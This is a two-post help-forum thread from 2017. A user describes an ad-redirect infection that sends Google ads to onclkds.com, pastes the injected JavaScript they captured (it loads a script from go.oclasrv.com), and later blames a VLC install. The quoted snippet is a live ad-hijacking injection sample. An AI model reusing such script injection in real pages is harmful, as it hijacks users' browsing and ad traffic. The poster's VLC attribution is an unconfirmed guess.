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Browser redirecting google ads to onclkds.com

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#1 fabioz


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Posted 09 July 2017 - 07:45 AM

Hi, I've just gotten some nasty redirect to onclkds.com.


The symptoms is that all the browsers in my machine are redirecting google ads to onclkds.com when the page requested is not in a https connection.


I digged a bit more and discovered that the virus is actually making any request to:




return the following javacript:


if (typeof js_71192 === 'undefined') { var js_71192 = document.createElement('script'); js_71192.type='text/javascript'; ; js_71192.src='http://go.oclasrv.com/apu.php?zoneid=877371'; var dns_qc_head = document.getElementsByTagName('head')[0]; if (dns_qc_head) { dns_qc_head.appendChild(js_71192);}};function f_80091(){ if (typeof js_80207 === 'undefined') { var js_80207 = document.createElement('script'); js_80207.type='text/javascript'; ; js_80207.src='http://pagead2.googlesyndication.com/r.php'; var dns_qc_head = document.getElementsByTagName('head')[0]; if (dns_qc_head) { dns_qc_head.appendChild(js_80207);}}; }; setTimeout(f_80091,120000);


and http://go.oclasrv.com actually redirects to onclkds.com


(so, it's easy to see that I'm infected)


As a current workaround I've turned on the adblockers and it doesn't appear anymore, but I know the virus is out there serving me onclkds.com in the place of google ads.


As a note, I tried it without a browser too -- using python:


>>> import requests
and it has shown me the same malware javascript -- also, the browsers don't have any extension installed (i.e.: definitely something happening in the system level).


I've tried avast, hitman pro (portable), rogue killer (portable) and they didn't find anything. Any tips on how to get rid of that?

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#2 fabioz

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Posted 09 July 2017 - 09:04 AM

Humm, apparently it was something on my VLC install.


I checked my install history and it was the latest program I had installed. I removed it and apparently the redirect no longer takes place.


Although I also did other things (created restore point, created FRST, used avast, hitman pro (portable), rogue killer (portable), adwcleaner) -- although they all said they didn't find anything, so, I VLC still seems the most likely in my case (although it only disappeared after uninstalling it, and restarting the computer -- the VLC install seems to have a VideoLAN signature, so, I find this a bit hard to grok as it's definitely not a software where I'd expect to find anything, so, who knows, it may be something which had infected it and is still lurking around or has a delayed initialization or more random behavior...


Anyways, I currently don't have the redirect anymore. I took a look myself on the logs generated in FRST and didn't find anything suspicious. If something happens again I'll report back.

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